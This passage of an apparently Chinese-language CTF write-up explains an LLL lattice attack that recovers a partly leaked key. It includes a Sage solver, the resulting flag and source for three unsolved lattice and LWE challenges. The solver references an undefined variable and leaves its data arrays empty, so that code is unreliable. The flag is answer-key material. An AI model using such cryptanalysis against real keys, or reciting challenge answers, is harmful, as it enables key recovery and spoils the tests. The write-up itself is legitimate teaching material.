6179734411062461009407000122687973511105948755170244204181450729410647901986426188970783453277592832386486628788023466433324078852891442496360969724173650]]
# gift=[841309, 840]

split_master()与上一题一样

  • 512位key分割成5段,长度分别为182, 20, 200, 10, 100位
  • 返回第2段(索引为1,长度20位)和第4段(索引为3,长度10位)对应的两个整数

因此,我们拿到了key部分信息gift=[841309, 840]

接着又生成了10组数据

BiAikey+si(modp)B_{i}\equiv A_{i}*key+s_{i}\pmod p
si(Ri,0ki,0+Ri,1ki,1+Ri,2ki,2)(modp)s_{i}\equiv (R_{i,0}*k_{i,0}+R_{i,1}*k_{i,1}+R_{i,2}*k_{i,2})\pmod p
k0[1,264]k_{0}\in [1,2^{64}]
k1[1,2128]k_{1}\in [1,2^{128}]
k2[1,2256]k_{2}\in [1,2^{256}]

未知数有33个:X0,X2,X4   k0,0,k0,1,k0,2,...,k9,0,k9,1,k9,2未知数有33个:X_{0},X_{2},X_{4}\ \ \ k_{0,0},k_{0,1},k_{0,2},...,k_{9,0},k_{9,1},k_{9,2}
已知的数据为:p,A,B,R已知的数据为:p,A,B,R
kknow=(gift1<<100)+(gift0<<310)k_{know}=(gift_{1}<<100)+(gift_{0}<<310)

key=kknow+(X0<<330)+(X2<<110)+X4key=k_{know}+(X_{0}<<330)+(X_{2}<<110)+X_{4}

(Ai2330)X0+(Ai2110)X2+AiX4+siCi(modp)(A_{i}\cdot 2^{330})\cdot X_{0}+(A_{i}\cdot 2^{110})\cdot X_{2}+A_{i}\cdot X_{4}+s_{i}\equiv C_{i}\pmod p
CiBiAikknow(modp)C_{i}\equiv B_{i}-A_{i}\cdot k_{know}\pmod p

(Ai2330)X0+...+Ri,2ki,2pmiCiz=0(A_{i}\cdot 2^{330})\cdot X_{0}+...+R_{i,2}*k_{i,2}-p\cdot m_{i}-C_{i}\cdot z=0

v=(X0,X2,X4,k0,0,k0,1,k0,2,...,k9,2,m0,...,m9,z)v=(X_{0},X_{2},X_{4},k_{0,0},k_{0,1},k_{0,2},...,k_{9,2},m_{0},...,m_{9},z)
向量v的维度为3+30+10+1=44,前33个分量都属于小整数,最后一个分量z1向量v的维度为3+30+10+1=44,前33个分量都属于小整数,最后一个分量z为1

我们构造这样的一个1044的矩阵M,使得MvT=0我们构造这样的一个10*44的矩阵M,使得M*v^{T}=0
那么,要如何利用LLL算法找到正确的v呢?那么,要如何利用LLL算法找到正确的v呢?

kernel_basis=M.right_kernel(),得到M的右核(也称为零空间、解空间),即满足mv=0的向量v集合kernel\_basis = M.right\_kernel(),得到M的右核(也称为零空间、解空间),即满足mv=0的向量v集合

我们需要在众多的向量中,找到那个唯一满足我们要求的v我们需要在众多的向量中,找到那个唯一满足我们要求的v
K=kernel_basis.basis_matrix(),将抽象的解空间转换为可直接操作的基矩阵KK = kernel\_basis.basis\_matrix(),将抽象的解空间转换为可直接操作的基矩阵K

K_scaled=Kdiagonal_matrix(W)K右乘一个对角矩阵W,实现加权缩放K\_scaled = K * diagonal\_matrix(W),K右乘一个对角矩阵W,实现加权缩放
其实就是配平,使得LLL算法能准确找到最短向量其实就是配平,使得LLL算法能准确找到最短向量
mi512bits,所以这里需要给每个分量加个权重使其达到512bitsm_{i}有512bits,所以这里需要给每个分量加个权重使其达到512bits

然后检查一下规约出的最短向量是否是我们精确缩放的,如果是缩放回去然后检查一下规约出的最短向量是否是我们精确缩放的,如果是缩放回去
并且确保最后一个分量一定是1,如此就找到了正确的向量v并且确保最后一个分量一定是1,如此就找到了正确的向量v

# sage
from Crypto.Util.number import *
from hashlib import md5

p = 7159749741429322755131240146118071759513715820993285825839372472474407666017557572129271731613358007058734527689330441569348431807180112353088919340436347
A =
B =
R =
gift = [841309, 840]

K_known = (gift[1] << 100) + (gift[0] << 310)
C = [(B[i] - A[i] * K_known) % p for i in range(10)]

num_x_parts = 3
num_k_per_eq = 3
num_eqs = 10
num_x_vars = num_x_parts
num_k_vars = num_k_per_eq * num_eqs
num_m_vars = num_eqs
num_z_vars = 1
num_total_vars = num_x_vars + num_k_vars + num_m_vars + num_z_vars

M = matrix(ZZ, num_eqs, num_total_vars)

for i in range(num_eqs):
M[i, 0] = A[i] * (2**330)
M[i, 1] = A[i] * (2**110)
M[i, 2] = A[i]
for j in range(num_k_per_eq):
M[i, num_x_vars + i * num_k_per_eq + j] = R[i][j]
M[i, num_x_vars + num_k_vars + i] = -p
M[i, num_x_vars + num_k_vars + num_m_vars] = -C[i]

kernel_basis = M.right_kernel()
K = kernel_basis.basis_matrix()

W = [1] * num_total_vars
scaling_factor = 2**512

W[0] = scaling_factor // (2**182) # X0
W[1] = scaling_factor // (2**200) # X2
W[2] = scaling_factor // (2**100) # X4

for i in range(num_eqs):
W[num_x_vars + i*num_k_per_eq + 0] = scaling_factor // (2**64) # k_i,0
W[num_x_vars + i*num_k_per_eq + 1] = scaling_factor // (2**128) # k_i,1
W[num_x_vars + i*num_k_per_eq + 2] = scaling_factor // (2**256) # k_1,2

W[num_x_vars + num_k_vars + num_m_vars] = scaling_factor # z

K_scaled = K * diagonal_matrix(W)
LLL_scaled_basis = K_scaled.LLL()

shortest_vec_scaled = LLL_scaled_basis[0]

is_exact = all(shortest_vec_scaled[j] % W[j] == 0 for j in range(num_total_vars))

if not is_exact:
print("[-] The shortest vector could not be unscaled perfectly. This is unexpected.")
print("[-] Check weights or problem formulation.")
else:
shortest_vec = vector([shortest_vec_scaled[j] // W[j] for j in range(num_total_vars)])
z = shortest_vec[-1]
if abs(z) == 1:
X0 = sol_vec[0]
X2 = sol_vec[1]
X4 = sol_vec[2]
if 0 <= X0 < 2**182 and 0 <= X2 < 2**200 and 0 <= X4 < 2**100:
print("[+] Found a valid solution vector!")
key_reconstructed = K_known + (X0 << 330) + (X2 << 110) + X4
key_str = str(key_reconstructed)
flag_hash = md5(key_str.encode()).hexdigest()
flag = "WMCTF{" + flag_hash + "}"
print(f"[+] Flag: {flag}")
else:
print("[-] Shortest vector found, but its components are out of bounds.")
else:
print(f"[-] Shortest vector's z component is {z}, not +/-1.")
# WMCTF{ed27074de5c476e67328e04b6e27a5b8}

还有别的打法,见糖醋小鸡块师傅的博客

LW3* | 1 solved

from random import choice, sample
from Crypto.Cipher import AES
from hashlib import md5
from secret import flag

m, n = 90, 64
p = 1048583

E = sample(range(1, p), 3)
s = random_vector(Zmod(p), n)
A = random_matrix(Zmod(p), m, n)
e = vector(Zmod(p), [choice(E) for i in range(m)])
b = A*s + e

print("🎁 :", E + A.list() + b.list())
print("🚩 :", AES.new(key=md5((str(s)).encode()).digest(), nonce=b"Tiffany", mode=AES.MODE_CTR).encrypt(flag))

这题与Hitcon2025 BabyLWE极其相似(虽然当时也没参加),维度更小而且E也给出了

不过参考调试了一下午都没能打出来……

Reference
https://tangcuxiaojikuai.xyz/post/e7cc42f8.html
https://tangcuxiaojikuai.xyz/post/94c7e291.html
https://huangx607087.online/2025/04/06/NSSCTFEasyMod/#5-easyModX
https://github.com/maple3142/My-CTF-Challenges/tree/d72de5b90c68a25d94feeca0cdff3f8bdbdae4ab/HITCON CTF 2025/BabyLWE
https://connor-mccartney.github.io/cryptography/other/HITCON2025

后续是,继续看糖醋小鸡块师傅的博客

LW5** | 0 solved

from Crypto.Cipher import AES
from ast import literal_eval
from random import choice
from hashlib import md5
from secret import flag

def check(E):
assert len(set([_ % p for _ in E])) == 5
L = block_matrix(ZZ, [
[Matrix(ZZ, E)],
[Matrix(ZZ, [1]*5)],
[p]
])
E_ = L.LLL()[3]
return max([abs(_) for _ in E_]) > 1337 and min([abs(_) for _ in E_]) > 337

p = 1048583
E = literal_eval(input("your error plz :)"))
assert check(E)

m, n = 90, 56
s = random_vector(Zmod(p), n)
A = random_matrix(Zmod(p), m, n)
e = vector(Zmod(p), [choice(E) for i in range(m)])
b = A*s + e

print("🎁 :", A.list() + b.list())
print("🚩 :", AES.new(key=md5((str(s)).encode()).digest(), nonce=b"Tiffany", mode=AES.MODE_CTR).encrypt(flag))

这里就需要精心构造出满足条件的E,感觉不太有希望,直接不看了

LemonPepper** | 1 solved

from random import randrange
from Crypto.Util.number import getPrime

with open('flag.txt') as f:
FLAG = f.read().strip()

class flavorings:
def __init__(self, p, l):
self.l, self.p = l, p
self.state = [randrange(p) for i in range(l)]
self.a = [randrange(128) for i in range(l)]
def __next__(self):
s = choice([sum(self.state[i] ^ d * self.a[i] for i in range(self.l)) % self.p for d in range(1, 4)])
self.state = [s] + self.state[:-1]
return s

class LemonPepper:
def __init__(self, q, t, e1, e2, p, l):
self.q, self.t, self.e1, self.e2 = q, t, e1, e2
self.mcg = flavorings(p, l)
def Lemon(self):
q, t, e1, e2 = self.q, self.t, self.e1, self.e2
R.<x> = PolynomialRing(Zmod(q ^ e2))
roots = [randrange(q ^ (e2-e1)) + sum(next(self.mcg) * q ^ (i + t) for i in range(e1))] + [randrange(q ^ e2) for i in range(t - 1)]
return randrange(q ^ e2) * prod([(x - root) ^ choice(range(2,5)) for root in roots])
def Pepper(self):
q, t, e = self.q, self.t, self.e2
R.<x> = PolynomialRing(Zmod(q ^ e))
roots = [next(self.mcg) * q ^ 130 + randrange(q ^ 130) + randrange(q ^ 70) * q ^ 131 for i in range(t)]
return randrange(q ^ e) * prod([(x - root) * (x - root - q ^ t) for root in roots]) * prod([x - root - q ^ 40 for root in sample(roots, 2)])

print('''💀 ORDER INCOMING!
"25-min RUSH RECIPE: 7x🍋 CUPS + 3x🌶️ DASHES! COOK NOW!"
⏱️ 24:59... 24:58...''')

__import__("signal").alarm(1500)

p, l = 257, 25
q, t, e1, e2 = 27658548947, 30, 135, 165
lemonpepper = LemonPepper(q, t, e1, e2, p, l)

print("🍋 Precision Zest Injection!")
for i in range(7):
print(lemonpepper.Lemon().list())

print("🌶️ Chaotic Spark Ignition!")
for i in range(3):
print(lemonpepper.Pepper().list())

print("SHOVE PLATES INTO PORTAL! 🛸🍽️ VALIDATE 🍋🌶️ COMBO OR KITCHEN MELTDOWN! 💣💥")
assert [int(i) for i in input("> ").split(',')] == lemonpepper.mcg.state

print(f"🍋🌶️ CHAOS COMBO! +500 EXTREME POINTS! ⚡💥 MUTANT FLAVOR UNLOCKED! {FLAG}")

这题也没看,留个附件在这